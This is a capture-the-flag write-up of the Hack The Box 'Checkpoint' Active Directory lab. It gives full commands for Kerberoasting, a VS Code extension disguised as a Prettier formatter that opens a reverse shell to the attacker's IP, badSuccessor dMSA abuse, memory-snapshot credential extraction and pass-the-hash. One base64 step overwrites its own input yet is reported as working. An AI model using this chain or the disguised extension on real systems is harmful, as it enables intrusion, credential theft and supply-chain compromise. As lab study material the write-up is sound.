HTB Checkpoint
2026-06-17
- HTB
- Medium
- Active Directory
- Kerberoasting
- BloodyAD
- dMSA
Overview
Checkpoint is a Medium-difficulty Windows Active Directory box. No web service is exposed — the entire attack surface is AD, SMB, and Kerberos. The path to Domain Admin chains together a deleted-object recovery, a supply-chain attack against an automated VS Code extension pipeline, Kerberos TGT delegation abuse, the recently disclosed badSuccessor dMSA technique (CVE-2025-26708), and finally offline credential extraction from a VMware snapshot backup.
Starting credentials: alex.turner:Checkpoint2024!
User Flag
1. Initial Enumeration
With the provided credentials, I enumerated accessible SMB shares:
nxc smb 10.129.11.227 -u 'alex.turner' -p 'Checkpoint2024!' --shares
This turned up DevDrop (read-only at this point), the standard
NETLOGON/SYSVOL, and VMBackups — no access yet, but the name alone
was worth remembering for later.
2. User Enumeration
nxc smb 10.129.11.227 -u 'alex.turner' -p 'Checkpoint2024!' --users-export users.txt
3. Checking Writable AD Objects
With alex.turner's creds, I checked what AD objects were writable:
bloodyad --host dc01.checkpoint.htb --dc-ip 10.129.11.227 -d checkpoint.htb \
-u 'alex.turner' -p 'Checkpoint2024!' get writable
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD
A deleted account, mark.davies, sitting in the Deleted Objects
container — and alex.turner still holds WRITE over it.
4. Restoring the Deleted User
Soft-deleted AD objects keep their ACL entries in the Deleted Objects container — anyone who held write access before deletion still has it after, as long as the object hasn't been fully purged.
bloodyad --host dc01.checkpoint.htb --dc-ip 10.129.11.227 -d checkpoint.htb \
-u 'alex.turner' -p 'Checkpoint2024!' set restore \
'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
5. Kerberoasting Mark Davies
I added a fake SPN to the restored account to make it Kerberoastable:
bloodyad --host dc01.checkpoint.htb --dc-ip 10.129.11.227 -d checkpoint.htb \
-u 'alex.turner' -p 'Checkpoint2024!' set object \
'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' \
servicePrincipalName -v 'HTTP/fakehost.checkpoint.htb'
Synced clocks with the DC (required for Kerberos to accept the request), then requested the ticket:
sudo ntpdate 10.129.11.227
GetUserSPNs.py checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.11.227 -request-user mark.davies
Cracking the resulting TGS hash recovered mark.davies's password.
6. Uploading a Malicious VSIX Extension
Re-checking shares as mark.davies showed elevated access — READ/WRITE
on DevDrop. The share description referenced approved .vsix
extension packages, implying some automated process picks up and
installs whatever lands there.
I built a minimal VS Code extension disguised as a formatter, with a reverse shell wired into its activation hook:
package.json
{
"name": "malicious-drop",
"displayName": "Prettier Formatter",
"version": "0.0.1",
"publisher": "microsoft",
"engines": { "vscode": "^1.74.0" },
"activationEvents": ["*"],
"main": "./extension.js"
}
extension.js
const net = require("net");
const { exec } = require("child_process");
function activate(context) {
const client = new net.Socket();
client.connect(4444, "10.10.16.8", () => {
const sh = exec("cmd.exe");
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.pipe(sh.stdin);
});
}
exports.activate = activate;
exports.deactivate = () => {};
Packaged and uploaded it:
vsce package --allow-missing-repository --allow-star-activation
smbclient //10.129.11.227/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!'
smb: \> put malicious-drop-0.0.1.vsix
7. Catching the Shell and Reading the User Flag
nc -lvnp 4444
The scheduled extension-sync task fired shortly after, and I landed a
shell as ryan.brooks.
C:\> type C:\Users\ryan.brooks\Desktop\user.txt
User flag: 9bf90dfa...
Root Flag
1. Enumerating ryan.brooks
From the shell as ryan.brooks, I checked group memberships and ACLs
with BloodyAD/BloodHound and found CreateChild rights on
OU=DMSAHolder — the prerequisite for a badSuccessor attack.
2. Extracting a TGT for ryan.brooks via Rubeus
Before attacking the OU, I needed a usable Kerberos ticket for
ryan.brooks. Rather than needing the plaintext password, Rubeus tgtdeleg abuses the Kerberos GSS-API delegation path to pull a
forwardable TGT for the currently logged-in user:
PS C:\users\ryan.brooks\desktop> .\Rubeus.exe tgtdeleg /nowrap
This returned a base64-encoded ticket blob, which I saved to a file on
Kali as ticket.kirbi.
3. Converting the Ticket to ccache
My first conversion attempt failed — I'd forgotten the ticket was still base64-encoded text at that point, not raw binary:
impacket-ticketConverter ticket.kirbi ryan.ccache
[X] unknown file format
Decoding it first fixed the conversion:
base64 -d ticket.kirbi > ticket.kirbi
impacket-ticketConverter ticket.kirbi ryan.ccache
[*] converting kirbi to ccache ...
[+] done
export KRB5CCNAME=ryan.ccache
4. Confirming the Ticket Works
Synced time with the DC (Kerberos is strict about clock skew) and confirmed the ticket authenticated correctly:
sudo ntpdate checkpoint.htb
nxc smb 10.129.13.63 -u ryan.brooks -k --use-kcache
Authentication succeeded — the ccache ticket was valid.
5. Creating the dMSA with SharpSuccessor
With a working ticket for ryan.brooks, I created a delegated Managed
Service Account (dMSA) under OU=DMSAHolder, configured to impersonate
svc_deploy:
PS C:\users\ryan.brooks\desktop> .\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dMSA
This wrote msDS-ManagedAccountPrecededByLink and
msDS-SupersededServiceAccountState on the new dMSA object, pointing it
at svc_deploy. This is the core of the badSuccessor technique
(CVE-2025-26708): a dMSA configured to "succeed" an existing service
account inherits that account's keys the moment its Kerberos material
is requested — no password or hash of the target needed going in.
6. Extracting svc_deploy's Keys via bloodyAD
Back on Kali, I requested the impersonated ticket to actually pull
svc_deploy's key material:
bloodyAD --host DC01.checkpoint.htb --dc-ip 10.129.14.6 -d checkpoint.htb \
-u ryan.brooks -k add badSuccessor \
-t "CN=SVC_DEPLOY,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB" attacker_dMSA
This returned svc_deploy's RC4/NTLM hash directly. Testing it
confirmed valid access:
nxc smb 10.129.14.6 -u svc_deploy -H e16081eb077aca74bdbf8af12af43c9
7. Accessing VMBackups
svc_deploy's access unlocked the previously inaccessible VMBackups
share, which held a VM backup — including a .vmem snapshot memory
file. A VMware snapshot captures the full RAM of a running machine at
snapshot time, including LSASS — meaning it holds live credential
material frozen in a file.
8. Extracting Credentials with vmkatz
I ran vmkatz directly against the snapshot file, from a shell obtained
as svc_deploy:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> .\vmkatz.exe \\DC01.checkpoint.htb\VMBackups\NightlyBackup_2024-11-01\'memory forensics'\'Windows Server 2019-Snapshot1.vmem'
vmkatz parsed the snapshot's memory the same way Mimikatz would parse
a live LSASS dump, and recovered the local Administrator's NT hash:
NT Hash : f29e9c014295b9b32139b09a2790be3b
9. Pass-the-Hash to Administrator and Reading Root
nxc smb 10.129.14.146 -u Administrator -H f29e9c014295b9b321**************
evil-winrm -i 10.129.14.146 -u Administrator -H f29e9c014295b9b321**************
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\users\max.palmer\desktop
*Evil-WinRM* PS C:\users\max.palmer\desktop> type root.txt
Root flag: a904888e...
Key Takeaways
- Deleted AD objects retain their original ACLs. Anyone who held write access before deletion still holds it after — restoring a "deleted" account can hand back real privileges.
- Any pipeline that auto-installs files dropped into a writable share (extensions, scripts, packages) is effectively an unauthenticated code execution path for anyone with write access to that share.
Rubeus tgtdeleglets you bootstrap Kerberos delegation from a low-privilege shell without ever touching a plaintext password.- badSuccessor (CVE-2025-26708) turns
CreateChildon an OU where dMSAs can be created into full impersonation of any targeted service account — no password or hash of the target needed going in. - VM backup infrastructure is a high-value target: a memory snapshot file is functionally an offline LSASS dump, and should be secured with at least the same rigor as the Domain Controller itself.